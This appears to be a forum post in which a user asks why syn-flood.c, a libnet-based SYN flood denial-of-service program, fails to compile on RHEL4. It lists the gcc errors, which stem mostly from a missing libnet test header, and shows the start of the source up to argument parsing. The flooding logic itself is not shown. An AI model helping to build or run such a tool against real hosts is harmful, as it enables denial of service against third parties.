synflood.c file error
Hi when i am executing the syn-flood.c file in RHEL4 by using the command #gcc syn-flood.c -o syn-flood
i am getting the below errors syn-flood.c:35:28: ../libnet_test.h: No such file or directory syn-flood.c:39: error: field `ip' has incomplete type syn-flood.c:40: error: field `tcp' has incomplete type syn-flood.c: In function `main': syn-flood.c:47: error: `u_long' undeclared (first use in this function) syn-flood.c:47: error: (Each undeclared identifier is reported only once syn-flood.c:47: error: for each function it appears in.) syn-flood.c:47: error: syntax error before "dst_ip" syn-flood.c:49: error: `u_short' undeclared (first use in this function) syn-flood.c:51: error: `u_char' undeclared (first use in this function) syn-flood.c:51: error: `cp' undeclared (first use in this function) syn-flood.c:51: error: `buf' undeclared (first use in this function) syn-flood.c:58: error: `EOF' undeclared (first use in this function) syn-flood.c:69: error: `optarg' undeclared (first use in this function) syn-flood.c:72: error: `EXIT_FAILURE' undeclared (first use in this function) syn-flood.c:75: error: `dst_prt' undeclared (first use in this function) syn-flood.c:75: error: syntax error before "atoi" syn-flood.c:76: error: `dst_ip' undeclared (first use in this function) syn-flood.c:78: error: `stderr' undeclared (first use in this function) syn-flood.c:107: error: `IPPROTO_RAW' undeclared (first use in this function) syn-flood.c:113: error: `LIBNET_TCP_H' undeclared (first use in this function) syn-flood.c:113: error: `LIBNET_IP_H' undeclared (first use in this function) syn-flood.c:129: error: `LIBNET_PRu16' undeclared (first use in this function) syn-flood.c:131: error: `LIBNET_PR8' undeclared (first use in this function) syn-flood.c:132: error: `IPPROTO_TCP' undeclared (first use in this function) syn-flood.c:133: error: `src_ip' undeclared (first use in this function) syn-flood.c:133: error: `LIBNET_PRu32' undeclared (first use in this function) syn-flood.c:135: error: `NULL' undeclared (first use in this function) syn-flood.c:139: error: `src_prt' undeclared (first use in this function) syn-flood.c:143: error: `TH_SYN' undeclared (first use in this function) syn-flood.c:167: error: `EXIT_SUCCESS' undeclared (first use in this function) syn-flood.c: At top level: syn-flood.c:172: error: syntax error before '*' token syn-flood.c:173: error: conflicting types for 'usage' syn-flood.c:71: error: previous implicit declaration of 'usage' was here syn-flood.c: In function `usage': syn-flood.c:174: error: `stderr' undeclared (first use in this function) syn-flood.c:179: error: `nomenclature' undeclared (first use in this function) .......................syn-flood.c....................................... #if (HAVE_CONFIG_H) #include "../../include/config.h" #endif #include "../libnet_test.h" struct t_pack { struct ip ip; struct tcphdr tcp; }; int main(int argc, char **argv) { u_long dst_ip = 0; u_long src_ip = 0; u_short dst_prt = 0; u_short src_prt = 0; u_char *cp, *buf; int i, c, packet_amt, burst_int, sockfd, burst_amt; packet_amt = 0; burst_int = 0; burst_amt = 1; while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`.
